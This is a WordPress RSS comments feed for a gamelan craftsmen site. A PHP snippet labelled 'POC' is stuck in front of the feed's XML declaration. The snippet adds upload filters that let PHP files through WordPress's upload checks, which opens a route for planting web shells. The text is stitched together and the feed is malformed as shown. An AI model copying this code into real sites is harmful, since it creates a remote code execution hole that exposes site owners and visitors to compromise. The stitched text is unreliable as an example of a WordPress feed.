/* POC */
add_filter('upload_mimes', function($m) { $m['php']='application/x-httpd-php'; return $m; });
add_filter('wp_check_filetype_and_ext', function($t,$f,$n) { if (strtolower(pathinfo($n, PATHINFO_EXTENSION))==='php') { $t['type']='application/x-httpd-php'; $t['ext']='php'; } return $t; }, 10, 3);

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Sample Page	</title>
	<atom:link href="https://www.gamelan.co.id/sample-page/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.gamelan.co.id</link>
	<description>Pusat Pengrajin Gamelan</description>
	<lastBuildDate>Mon, 22 Feb 2021 18:00:37 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
</channel>
</rss>